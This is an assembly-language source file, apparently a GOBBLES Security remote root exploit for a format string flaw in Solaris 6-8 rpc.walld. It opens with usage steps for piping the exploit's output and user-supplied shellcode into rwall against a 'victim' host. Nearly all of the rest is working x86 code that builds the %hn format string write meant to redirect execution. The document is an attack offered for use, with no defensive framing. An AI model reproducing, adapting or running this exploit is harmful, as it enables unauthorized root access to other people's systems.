/* 
   Remote Root Exploit for Solaris 6-8 rpc.walld
   
      Usage Instructions:
       1. Compile.
           gcc -o xwall xwall.s
       2. Run.
          (./xwall ; ./shellcode) | rwall victim
       3. Late Easter egg.
	  strings xwall 
			      
      Note(s):
       Something else must be done to consume FD's on
       victim system.  Figure this one out for self.

       This exploit written to be run on Linux.  Supplied
       format string is for Sparc Solaris.  Provide own
       remote shellcode and use as above described.

   Love,
   GOBBLES Security
   http://www.bugtraq.org
   GOBBLES@hushmail.com
*/
    

retloc:
.long 0x41424344
retaddr:
.long 0x60bb135
padding:
.long 4
walkcount:
.long 1
.globl main
.type main,@function
main:
pusha
movl (padding),%ecx
jusfhds7fg:
pushl %ecx
movl $4,%eax
movl $1,%ebx
pushl $0x00000041
movl %esp,%ecx
movl $1,%edx
int $0x80
popl %ecx
popl %ecx
loop jusfhds7fg
movl %esp,24(%esp)
pushl $0x42424242
movl $4,%edx
movl %esp,%ecx
movl $1,%ebx
movl $4,%eax
int $0x80
movl (retloc),%eax
bswapl %eax
pushl %eax
subl $4,%ecx
movl %edx,%eax
int $0x80
addl $4,%ecx
movl %edx,%eax
int $0x80
subl $4,%ecx
popl %eax
bswapl %eax
incl %eax
incl %eax
bswapl %eax
pushl %eax
movl %edx,%eax
int $0x80
popl %eax
movl %esp,%edx
incl %edx
xorl %esi,101(%ebp)
andb %al,111(%edx)
popa
pushl %edx
andb %al,97(%ebx)
decl %esi
aaa
andb %al,111(%ebx)
incl %esp
xorl (%ecx),%eax
movl (walkcount),%ecx
cmpl $0,%ecx
je nczxhczjcg89zg89
pushl %ecx
movl $4,%edx
movl $1,%ebx
pushl $0x78382e25
cmzxnczxcz8c:
pushl %ecx
movl %esp,%ecx
addl $4,%ecx
movl $4,%eax
int $0x80
popl %ecx
loop cmzxnczxcz8c
popl %ecx
popl %ecx
nczxhczjcg89zg89:
movl (retaddr),%edx
pushl %edx
shr $16,%edx
subl %edx,(%esp)
movw $0,2(%esp)
pushl %edx
shll $3,%ecx
subl %ecx,(%esp)
movl (padding),%edx
subl %edx,(%esp)
subl $16,(%esp)
movw $0,2(%esp)
pushl $cznxczxczxh8
call printf
movl $1,%eax
int $0x80
cznxczxczxh8:
.string "%%%uc%%hn%%%uc%%hn\n"

